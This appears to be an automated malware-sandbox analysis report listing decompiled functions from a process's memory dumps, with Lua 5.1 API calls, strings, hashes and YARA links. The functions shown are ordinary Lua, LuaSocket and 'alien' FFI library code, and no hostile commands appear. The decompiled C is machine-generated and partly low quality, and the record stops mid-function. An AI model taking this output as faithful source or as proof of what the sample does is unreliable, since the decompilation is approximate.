Instruction Fuzzy Hash: 99E0267941D23136E501E2049C03DEF724DDF560B0F100704F531220C9AF54730441EF

Uniqueness

Uniqueness Score: -1.00%

Function 10015600, Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001560A

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_checklstring.LUA5.1(?,00000002,00000000,?,00000001,00000000), ref: 10015614
lua_settop.LUA5.1(?,00000002,?,00000002,00000000,?,00000001,00000000), ref: 1001561C
lua_pushinteger.LUA5.1(?,00000000,?,00000002,?,00000002,00000000,?,00000001,00000000), ref: 10015624
lua_pushcclosure.LUA5.1(?,10015640,00000003,?,00000000,?,00000002,?,00000002,00000000,?,00000001,00000000), ref: 10015631

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.$lua_pushcclosure.lua_pushinteger.lua_settop.lua_tolstring.
String ID:
API String ID: 269969506-0
Opcode ID: b9de3ddfb799a50928b81552d67f429a5e6d38a6c483818718001c641bdd6d17
Instruction ID: d0dceb515ef5709edfafb2ba553cbea85748d15e7c3c3a25689857b6733325b3
Opcode Fuzzy Hash: b9de3ddfb799a50928b81552d67f429a5e6d38a6c483818718001c641bdd6d17
Instruction Fuzzy Hash: 70E0673979262035F422A218AC03FDF11088F06B94F944004B7007E1DA86DA7A8201EF

Uniqueness

Uniqueness Score: -1.00%

Function 00591180, Relevance: 7.5, APIs: 5, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00591180(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t4;
				intOrPtr _t6;

				_t4 = _a8;
				_t6 = _a4;
				_push(_t4);
				_push(0xffffd8f0);
				_push(_t6);
				L00594B12();
				_push(_a12);
				_push(_t6);
				L00594AD0();
				_push(1);
				_push(_t6);
				L00594B0C();
				_push(0xfffffffd);
				_push(_t6);
				L00594AC4();
				_push(0xfffffffe);
				_push(_t6);
				L00594AB8();
				return _t4;
			}

0x00591180
0x00591185
0x00591189
0x0059118a
0x0059118f
0x00591190
0x00591199
0x0059119a
0x0059119b
0x005911a0
0x005911a2
0x005911a3
0x005911a8
0x005911aa
0x005911ab
0x005911b0
0x005911b2
0x005911b3
0x005911bc

APIs

lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 00591190
lua_pushstring.LUA5.1(?,?,?,FFFFD8F0,?), ref: 0059119B
lua_pushboolean.LUA5.1(?,00000001,?,?,?,FFFFD8F0,?), ref: 005911A3
lua_rawset.LUA5.1(?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911AB
lua_settop.LUA5.1(?,000000FE,?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911B3

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getfield.lua_pushboolean.lua_pushstring.lua_rawset.lua_settop.
String ID:
API String ID: 391719093-0
Opcode ID: 7a4889f910de75a72596cb97c79714528e35fe722f1f5805dffe8bde5c78ab47
Instruction ID: 23d7f1ddfe4e2059f9533bcbac476c9806fd6821606da9d2b61f3a183bff8981
Opcode Fuzzy Hash: 7a4889f910de75a72596cb97c79714528e35fe722f1f5805dffe8bde5c78ab47
Instruction Fuzzy Hash: EDE0EC611595333A8D05B6589C46EDF2A5EAFC6224F140304F160221E19B54AD439AEE

Uniqueness

Uniqueness Score: -1.00%

Function 10010640, Relevance: 7.5, APIs: 5, Instructions: 22COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 1001064A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_checkany.LUA5.1(?,00000002,?,00000001,00000005), ref: 10010652

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

luaL_checkany.LUA5.1(?,00000003,?,00000002,?,00000001,00000005), ref: 1001065A
lua_settop.LUA5.1(?,00000003,?,00000003,?,00000002,?,00000001,00000005), ref: 10010662
lua_rawset.LUA5.1(?,00000001,?,00000003,?,00000003,?,00000002,?,00000001,00000005), ref: 1001066A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkany.lua_type.$L_argerror.L_checktype.lua_rawset.lua_settop.
String ID:
API String ID: 3589126800-0
Opcode ID: 80f636896de74bebd6a6b13be26071d99a956c716fe2d70cef985dbcc84da090
Instruction ID: ce74f83a347c70c4c9ab7dd5de00575f7d715a37a8ee23cd0f0d13836c65c428
Opcode Fuzzy Hash: 80f636896de74bebd6a6b13be26071d99a956c716fe2d70cef985dbcc84da090
Instruction Fuzzy Hash: 46D09E39696B2031F422B228BC47FDF110D8F06B84F014014FB40395CA97CA37C211EE

Uniqueness

Uniqueness Score: -1.00%

Function 10008460, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

escape sequence too large, xrefs: 1000865B
unfinished string, xrefs: 100084D4, 100084EC

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.
String ID: escape sequence too large$unfinished string
API String ID: 3188633865-2338411338
Opcode ID: 463b1214073882319d7ff953c37adcaf873fc1839e5d7bd7ab3dd376f20ca99c
Instruction ID: 93eebfcc4927af21eabaa5045a73637947e96ea5fd3cee99c244d377261ba276
Opcode Fuzzy Hash: 463b1214073882319d7ff953c37adcaf873fc1839e5d7bd7ab3dd376f20ca99c
Instruction Fuzzy Hash: AE81E574A04641DFE315CF14CC40D5AB7E5FF89384B248868E8C68B75AD736FA46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00592820, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00592820(intOrPtr* __eax, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v48;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr* _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;
				char* _t28;

				_t18 = _a4;
				_push(0);
				_push(2);
				_push(_t18);
				L00594B54();
				_t24 = _a8;
				_t28 =  &(( &_v48)[0xc]);
				_t26 = __eax;
				_t25 =  *_t24;
				while(_t25 != 0) {
					_t20 = _t26;
					while(1) {
						_t16 =  *_t20;
						_t22 = _t16;
						if(_t16 !=  *_t25) {
							break;
						}
						if(_t22 == 0) {
							L6:
							_t20 = 0;
						} else {
							_t17 =  *((intOrPtr*)(_t20 + 1));
							_t23 = _t17;
							if(_t17 !=  *((intOrPtr*)(_t25 + 1))) {
								break;
							} else {
								_t20 = _t20 + 2;
								_t25 = _t25 + 2;
								if(_t23 != 0) {
									continue;
								} else {
									goto L6;
								}
							}
						}
						L8:
						if(_t20 != 0) {
							goto L9;
						}
						goto L10;
					}
					asm("sbb ecx, ecx");
					asm("sbb ecx, 0xffffffff");
					goto L8;
					L9:
					_t25 =  *((intOrPtr*)(_t24 + 8));
					_t24 = _t24 + 8;
				}
				L10:
				if( *((intOrPtr*)(_t24 + 4)) == 0) {
					sprintf( &_v48, "unsupported option `%.35s\'", _t26);
					_push( &_v48);
					_push(2);
					_push(_t18);
					L00594B2A();
					_t28 =  &(_t28[0x18]);
				}
				return  *((intOrPtr*)(_t24 + 4))(_t18, _a12);
			}

0x00592824
0x0059282b
0x0059282d
0x0059282f
0x00592830
0x00592835
0x00592839
0x0059283c
0x0059283e
0x00592842
0x00592844
0x00592846
0x00592846
0x00592848
0x0059284c
0x00000000
0x00000000
0x00592850
0x00592866
0x00592866
0x00592852
0x00592852
0x00592855
0x0059285a
0x00000000
0x0059285c
0x0059285c
0x0059285f
0x00592864
0x00000000
0x00000000
0x00000000
0x00000000
0x00592864
0x0059285a
0x0059286f
0x00592871
0x00000000
0x00000000
0x00000000
0x00592871
0x0059286a
0x0059286c
0x00000000
0x00592873
0x00592873
0x00592876
0x00592879
0x0059287d
0x00592882
0x0059288f
0x00592899
0x0059289a
0x0059289c
0x0059289d
0x005928a2
0x005928a2
0x005928b8

APIs

luaL_checklstring.LUA5.1(?,00000002,00000000,?,?), ref: 00592830
sprintf.MSVCRT ref: 0059288F
luaL_argerror.LUA5.1(?,00000002,?), ref: 0059289D

Strings

unsupported option `%.35s', xrefs: 00592889

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.sprintf
String ID: unsupported option `%.35s'
API String ID: 341491419-4085323626
Opcode ID: f5ea29dbcf88bc5ca5656d7c17a017cf171e2767ca0e4d69b13ea6fc7b17c73f
Instruction ID: a9acc08c4a8b9e71c5fa9b36a0463235b48172010f182144b86b74408071eafe
Opcode Fuzzy Hash: f5ea29dbcf88bc5ca5656d7c17a017cf171e2767ca0e4d69b13ea6fc7b17c73f
Instruction Fuzzy Hash: BE112972A043517BCF245F248C82F77BF59BF91710F494A1CFDA957242E216EC1987A1

Uniqueness

Uniqueness Score: -1.00%

Function 00592090, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00592090(void* __ebx, void* __fp0, intOrPtr _a4) {
				char _v4;
				intOrPtr* _t9;
				intOrPtr _t22;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t35;

				_t35 = __fp0;
				_t9 = E00591790( &_v4, 1);
				_t25 = _t9;
				if(_t25 != 0) {
					_t22 = _a4;
					_push(_t22);
					L00594B4E();
					_push(_t25);
					_push(_t22);
					L00594AD0();
					return 2;
				} else {
					_push(0x2050);
					_push(_a4);
					L00594B6C();
					_t26 = _t9;
					E005912A0(_a4, "tcp{master}", 0xffffffff);
					E00594660( &_v4);
					_t5 = _t26 + 4; // 0x4
					 *_t26 = _v4;
					E005927D0(_t5, E00594410, E00594520, 0x5947c0, _t26);
					_push(0xbff00000);
					_t6 = _t26 + 0x2038; // 0x2038
					E00592CE0(_t6, 0, 0xbff00000, 0);
					E00592150(_t35, _t26 + 0x18, _t5, _t6);
					return 1;
				}
			}

0x00592090
0x0059209a
0x0059209f
0x005920a6
0x00592125
0x00592129
0x0059212a
0x0059212f
0x00592130
0x00592131
0x00592141
0x005920a8
0x005920ad
0x005920b2
0x005920b3
0x005920c0
0x005920c2
0x005920cc
0x005920db
0x005920e9
0x005920eb
0x005920f0
0x005920f7
0x00592105
0x00592113
0x00592124
0x00592124

APIs

lua_newuserdata.LUA5.1(?,00002050), ref: 005920B3

Part of subcall function 005912A0: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 005912B0
Part of subcall function 005912A0: lua_setmetatable.LUA5.1(?,?), ref: 005912C3

Part of subcall function 00594660: ioctlsocket.WSOCK32(?,8004667E,00000000), ref: 0059467A

lua_pushnil.LUA5.1(?), ref: 0059212A
lua_pushstring.LUA5.1(?,00000000,?), ref: 00592131

Strings

tcp{master}, xrefs: 005920BA

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ioctlsocketlua_getfield.lua_newuserdata.lua_pushnil.lua_pushstring.lua_setmetatable.
String ID: tcp{master}
API String ID: 650809167-275915469
Opcode ID: 4cd609e99c03c819c91579ef282f879157b26f8cf1b23197068de17d2e51f0b7
Instruction ID: 08b17a475f3785a57afa44c5115d9bfd252a8f9c72ffd94ab23b02329cfee35d
Opcode Fuzzy Hash: 4cd609e99c03c819c91579ef282f879157b26f8cf1b23197068de17d2e51f0b7
Instruction Fuzzy Hash: 6401487354131133CE20B7A4AC4AF9F6F9CFBC5B64F10092CF20573282D664AD0687A9

Uniqueness

Uniqueness Score: -1.00%

Function 00593EF0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00593EF0(intOrPtr _a4) {
				char _v4;
				intOrPtr* _t7;
				intOrPtr _t15;
				intOrPtr* _t17;

				_t7 = E00591790( &_v4, 2);
				_t17 = _t7;
				if(_t17 != 0) {
					_t15 = _a4;
					_push(_t15);
					L00594B4E();
					_push(_t17);
					_push(_t15);
					L00594AD0();
					return 2;
				} else {
					_push(0x20);
					_push(_a4);
					L00594B6C();
					E005912A0(_a4, "udp{unconnected}", 0xffffffff);
					E00594660( &_v4);
					_push(0xbff00000);
					 *_t7 = _v4;
					E00592CE0(_t7 + 8, 0, 0xbff00000, 0);
					return 1;
				}
			}

0x00593efa
0x00593eff
0x00593f06
0x00593f56
0x00593f5a
0x00593f5b
0x00593f60
0x00593f61
0x00593f62
0x00593f72
0x00593f08
0x00593f0c
0x00593f0e
0x00593f0f
0x00593f1e
0x00593f28
0x00593f31
0x00593f36
0x00593f45
0x00593f55
0x00593f55

APIs

lua_newuserdata.LUA5.1(?,00000020), ref: 00593F0F

Part of subcall function 005912A0: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 005912B0
Part of subcall function 005912A0: lua_setmetatable.LUA5.1(?,?), ref: 005912C3

Part of subcall function 00594660: ioctlsocket.WSOCK32(?,8004667E,00000000), ref: 0059467A

lua_pushnil.LUA5.1(?), ref: 00593F5B
lua_pushstring.LUA5.1(?,00000000,?), ref: 00593F62

Strings

udp{unconnected}, xrefs: 00593F16

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ioctlsocketlua_getfield.lua_newuserdata.lua_pushnil.lua_pushstring.lua_setmetatable.
String ID: udp{unconnected}
API String ID: 650809167-754074627
Opcode ID: 4aba2bc33b4dd3660987645ddc6008bede5f87a2149a515241df776cc9cc0242
Instruction ID: 596e5d82f585c144f23e35e43ca92008d935053fc3509000e1b1f915a8d5a3de
Opcode Fuzzy Hash: 4aba2bc33b4dd3660987645ddc6008bede5f87a2149a515241df776cc9cc0242
Instruction Fuzzy Hash: 96F0F973A4121237CB20B764AC4AF6F6B98FBD1771F14052CF545672C1D6249C0687E9

Uniqueness

Uniqueness Score: -1.00%

Function 005C1950, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E005C1950(signed int _a4, intOrPtr* _a8) {
				intOrPtr _t12;
				void* _t13;
				intOrPtr _t15;
				intOrPtr _t19;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = _a8;
				_t13 = _t26 + 0x20c;
				if( *_t26 >= _t13) {
					_push(_t26);
					L005C210E();
					_t27 = _t27 + 4;
				}
				 *((char*)( *_t26)) = 0x3d;
				_t15 =  *_t26 + 1;
				 *_t26 = _t15;
				if(_t15 >= _t13) {
					_push(_t26);
					L005C210E();
					_t27 = _t27 + 4;
				}
				_t24 = _a4 & 0x000000ff;
				 *((char*)( *_t26)) =  *((intOrPtr*)((_t24 >> 4) + "0123456789ABCDEF"));
				_t19 =  *_t26 + 1;
				 *_t26 = _t19;
				if(_t19 >= _t13) {
					_push(_t26);
					L005C210E();
				}
				 *((char*)( *_t26)) =  *((intOrPtr*)((_t24 & 0x0000000f) + "0123456789ABCDEF"));
				_t12 =  *_t26 + 1;
				 *_t26 = _t12;
				return _t12;
			}

0x005c1952
0x005c1959
0x005c1961
0x005c1963
0x005c1964
0x005c1969
0x005c1969
0x005c196e
0x005c1973
0x005c1976
0x005c197a
0x005c197c
0x005c197d
0x005c1982
0x005c1982
0x005c198b
0x005c199c
0x005c19a0
0x005c19a3
0x005c19a7
0x005c19a9
0x005c19aa
0x005c19af
0x005c19be
0x005c19c2
0x005c19c3
0x005c19c7

APIs

luaL_prepbuffer.LUA5.1(?,005C183A,00000001,0000000A,005C18F1,?,00000001,00000000,00000001,?,00000000,005C183A,00000000,?,00000000,00000000), ref: 005C1964
luaL_prepbuffer.LUA5.1(?,005C183A,00000001,0000000A,005C18F1,?,00000001,00000000,00000001,?,00000000,005C183A,00000000,?,00000000,00000000), ref: 005C197D
luaL_prepbuffer.LUA5.1(?,005C183A,00000001,0000000A,005C18F1,?,00000001,00000000,00000001,?,00000000,005C183A,00000000,?,00000000,00000000), ref: 005C19AA

Strings

0123456789ABCDEF, xrefs: 005C19B7

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.
String ID: 0123456789ABCDEF
API String ID: 279711102-2554083253
Opcode ID: c13e7e5c4a0258f4dbe8c11bc0e9d52562f4f0c17f17e4c5a4b1758cec295d9d
Instruction ID: aee816074a0691a8a389dcfa8ac3e729f518c699f1dc4c5a354571b745e1300b
Opcode Fuzzy Hash: c13e7e5c4a0258f4dbe8c11bc0e9d52562f4f0c17f17e4c5a4b1758cec295d9d
Instruction Fuzzy Hash: 5701D8B22056828FD726CF58D8D0D55BBE5FF96300B28087CE1D6DB302D731A949C75A

Uniqueness

Uniqueness Score: -1.00%

Function 10014E10, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

luaL_error.LUA5.1(?,malformed pattern (missing ']'),?,?,10014C83,?,?,00000000,-00000001,00000000,?,10014A88), ref: 10014E40
luaL_error.LUA5.1(?,malformed pattern (ends with '%%'),?,10014C83,?,?,00000000,-00000001,00000000,?,10014A88,?,?,?,?,?), ref: 10014E73

Strings

malformed pattern (ends with '%%'), xrefs: 10014E6A
malformed pattern (missing ']'), xrefs: 10014E3A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.
String ID: malformed pattern (ends with '%%')$malformed pattern (missing ']')
API String ID: 1455705698-2526682635
Opcode ID: edf3a205c664e841aaad7cb82b3f68a6153f88185ab6c804b7655390c7691617
Instruction ID: 0092f605991a77e152fe9e445d7a7a49fb1cdab8d8bb60338b920489da126632
Opcode Fuzzy Hash: edf3a205c664e841aaad7cb82b3f68a6153f88185ab6c804b7655390c7691617
Instruction Fuzzy Hash: 3701A2699085D26FD722CA14E840B86FBD4FB8A3A1F2A4C59E1C5CB421D774E8C2C794

Uniqueness

Uniqueness Score: -1.00%

Function 005E2E80, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E005E2E80(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t3;
				intOrPtr* _t5;
				intOrPtr _t9;
				void* _t10;
				intOrPtr* _t11;
				intOrPtr _t12;
				void* _t13;
				void* _t14;

				_t12 = _a4;
				_t11 = E005E1110(_t3, 1, _t12, "alien_buffer");
				_t14 = _t13 + 4;
				if(_t11 == 0) {
					_push("alien buffer expected");
					_push(1);
					_push(_t12);
					L005E3F14();
					_t14 = _t14 + 0xc;
				}
				_t5 = _t11;
				_t2 = _t5 + 1; // 0x1
				_t10 = _t2;
				do {
					_t9 =  *_t5;
					_t5 = _t5 + 1;
				} while (_t9 != 0);
				_push(_t5 - _t10);
				_push(_t12);
				L005E3FD4();
				return 1;
			}

0x005e2e82
0x005e2e96
0x005e2e98
0x005e2e9d
0x005e2e9f
0x005e2ea4
0x005e2ea5
0x005e2ea6
0x005e2eab
0x005e2eab
0x005e2eae
0x005e2eb0
0x005e2eb0
0x005e2eb3
0x005e2eb3
0x005e2eb5
0x005e2eb8
0x005e2ebe
0x005e2ebf
0x005e2ec0
0x005e2ecd

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien buffer expected), ref: 005E2EA6
lua_pushinteger.LUA5.1(?,-00000001), ref: 005E2EC0

Strings

alien buffer expected, xrefs: 005E2E9F
alien_buffer, xrefs: 005E2E87

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_getfield.lua_getmetatable.lua_pushinteger.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien buffer expected$alien_buffer
API String ID: 621180741-566560685
Opcode ID: 939aa956cfb5dbbf177cb0ae94ef370939544b18a82101892077f6159d533f77
Instruction ID: 4fc6efbd2306cca664b7bdf8b4c61bc1d7b243aa717f5acaaa223deda2e6e09f
Opcode Fuzzy Hash: 939aa956cfb5dbbf177cb0ae94ef370939544b18a82101892077f6159d533f77
Instruction Fuzzy Hash: 9AE092B6A006942BE708121A6C4ABAB6B9DEBC6364F184030FD8497306E5659E1843E2

Uniqueness

Uniqueness Score: -1.00%

Function 005E1170, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E005E1170(void* __eax, void* __ecx) {
				void* __ebx;
				void* __esi;
				intOrPtr* _t3;
				void* _t4;
				void* _t8;

				_t8 = __eax;
				_t3 = E005E1110(__eax, __eax, __ecx, "alien_callback");
				if(_t3 == 0) {
					_t4 = E005E1110(_t3, _t8, __ecx, "alien_function");
					if(_t4 == 0) {
						_push("alien function or callback expected");
						_push(_t8);
						_push(__ecx);
						L005E3F14();
						return 0;
					} else {
						return  *((intOrPtr*)(_t4 + 4));
					}
				} else {
					return  *_t3;
				}
			}

0x005e1172
0x005e117b
0x005e1185
0x005e1191
0x005e119b
0x005e11a3
0x005e11a8
0x005e11a9
0x005e11aa
0x005e11b6
0x005e119d
0x005e11a2
0x005e11a2
0x005e1187
0x005e118b
0x005e118b

Strings

alien_callback, xrefs: 005E1176
alien_function, xrefs: 005E118C
alien function or callback expected, xrefs: 005E11A3

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien function or callback expected$alien_callback$alien_function
API String ID: 3502898327-3313075861
Opcode ID: 28af96c3f3006375ffb66dfb631de637134f6810833a18ed8f82764d367697f0
Instruction ID: 482ded79ef23eff34ff102846e515a60cbd6d0c62692565973193e7f6d9024eb
Opcode Fuzzy Hash: 28af96c3f3006375ffb66dfb631de637134f6810833a18ed8f82764d367697f0
Instruction Fuzzy Hash: 15E0D8B2F006515BA64C61AA7C87AC66B98EA802D67040071F580C7102F791CC2092A5

Uniqueness

Uniqueness Score: -1.00%

Function 100124E0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

lua_rawgeti.LUA5.1(?,FFFFD8EF,?,?,?,?,100124CF,?,00000001,00000001), ref: 100124F2
lua_touserdata.LUA5.1(?,000000FF,?,FFFFD8EF,?,?,?,?,100124CF,?,00000001,00000001), ref: 100124FA
luaL_error.LUA5.1(?,standard %s file is closed,00000000), ref: 10012516

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Strings

standard %s file is closed, xrefs: 10012510

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.L_where.lua_concat.lua_error.lua_pushvfstring.lua_rawgeti.lua_touserdata.
String ID: standard %s file is closed
API String ID: 1747102811-758085179
Opcode ID: a47756bd5cee5d26957965073c08bb187b986d77988fcfae4abd1aff57977344
Instruction ID: 92794747bf155d51766a022156f3fd6684a2f2f7d909131cb668392ac45e6065
Opcode Fuzzy Hash: a47756bd5cee5d26957965073c08bb187b986d77988fcfae4abd1aff57977344
Instruction Fuzzy Hash: 09E0DFA66000203B9100D6CC9CC0C7B73ACDB866B0B044228FA14A7256C630ED2267F1

Uniqueness

Uniqueness Score: -1.00%

Function 005E1430, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E005E1430(intOrPtr* __eax, intOrPtr _a4) {
				void* __edi;
				intOrPtr _t5;

				_t5 = _a4;
				_push(1);
				_push(_t5);
				L005E3F50();
				if(__eax == 0) {
					_push("alien: not an userdata");
